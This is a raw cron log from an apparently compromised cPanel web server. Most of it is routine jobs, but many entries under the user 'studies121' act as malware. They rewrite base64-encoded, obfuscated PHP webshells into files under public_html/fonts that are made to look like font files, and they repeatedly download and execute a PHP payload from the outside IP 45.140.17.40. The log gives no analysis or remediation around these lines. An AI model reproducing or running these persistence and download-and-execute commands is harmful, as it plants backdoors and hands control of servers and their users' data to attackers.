Sep  6 15:54:01 ip-184-168-122-23 CROND[23911]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 15:54:01 ip-184-168-122-23 CROND[23912]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:54:01 ip-184-168-122-23 CROND[23910]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:55:01 ip-184-168-122-23 CROND[24032]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 15:55:01 ip-184-168-122-23 CROND[24035]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:55:01 ip-184-168-122-23 CROND[24036]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 15:55:01 ip-184-168-122-23 CROND[24038]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 15:55:01 ip-184-168-122-23 CROND[24034]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:55:01 ip-184-168-122-23 CROND[24037]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 15:56:01 ip-184-168-122-23 CROND[24169]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:56:01 ip-184-168-122-23 CROND[24173]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 15:56:01 ip-184-168-122-23 CROND[24174]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 15:56:01 ip-184-168-122-23 CROND[24175]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 15:56:01 ip-184-168-122-23 CROND[24176]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:57:01 ip-184-168-122-23 CROND[24303]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:57:01 ip-184-168-122-23 CROND[24302]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 15:57:01 ip-184-168-122-23 CROND[24304]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 15:57:01 ip-184-168-122-23 CROND[24305]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:58:01 ip-184-168-122-23 CROND[24423]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 15:58:01 ip-184-168-122-23 CROND[24425]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 15:58:01 ip-184-168-122-23 CROND[24426]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:58:01 ip-184-168-122-23 CROND[24427]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 15:58:01 ip-184-168-122-23 CROND[24429]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:59:01 ip-184-168-122-23 CROND[24637]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 15:59:01 ip-184-168-122-23 CROND[24639]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:59:01 ip-184-168-122-23 CROND[24640]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:59:01 ip-184-168-122-23 CROND[24641]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 16:00:01 ip-184-168-122-23 CROND[24753]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 16:00:01 ip-184-168-122-23 CROND[24756]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 16:00:01 ip-184-168-122-23 CROND[24757]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 16:00:01 ip-184-168-122-23 CROND[24758]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:00:01 ip-184-168-122-23 CROND[24761]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  6 16:00:01 ip-184-168-122-23 CROND[24762]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 16:00:01 ip-184-168-122-23 CROND[24763]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:00:01 ip-184-168-122-23 CROND[24760]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 16:00:01 ip-184-168-122-23 CROND[24765]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 16:01:01 ip-184-168-122-23 CROND[24879]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 16:01:01 ip-184-168-122-23 CROND[24880]: (root) CMD (run-parts /etc/cron.hourly)
Sep  6 16:01:01 ip-184-168-122-23 CROND[24882]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:01:01 ip-184-168-122-23 CROND[24883]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 16:01:01 ip-184-168-122-23 CROND[24886]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 16:01:01 ip-184-168-122-23 CROND[24884]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[24880]: starting 0anacron
Sep  6 16:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[24902]: finished 0anacron
Sep  6 16:02:01 ip-184-168-122-23 CROND[24998]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 16:02:01 ip-184-168-122-23 CROND[25003]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 16:02:01 ip-184-168-122-23 CROND[25000]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 16:02:01 ip-184-168-122-23 CROND[25001]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:02:01 ip-184-168-122-23 CROND[25002]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:03:02 ip-184-168-122-23 CROND[25106]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 16:03:02 ip-184-168-122-23 CROND[25107]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:03:02 ip-184-168-122-23 CROND[25105]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 16:03:02 ip-184-168-122-23 CROND[25108]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:04:01 ip-184-168-122-23 CROND[25223]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:04:01 ip-184-168-122-23 CROND[25225]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 16:04:01 ip-184-168-122-23 CROND[25227]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 16:04:01 ip-184-168-122-23 CROND[25228]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:04:01 ip-184-168-122-23 CROND[25231]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 16:05:01 ip-184-168-122-23 CROND[25347]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 16:05:01 ip-184-168-122-23 CROND[25352]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 16:05:01 ip-184-168-122-23 CROND[25351]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:05:01 ip-184-168-122-23 CROND[25353]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 16:05:01 ip-184-168-122-23 CROND[25354]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 16:05:01 ip-184-168-122-23 CROND[25349]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 16:05:01 ip-184-168-122-23 CROND[25350]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:06:01 ip-184-168-122-23 CROND[25467]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
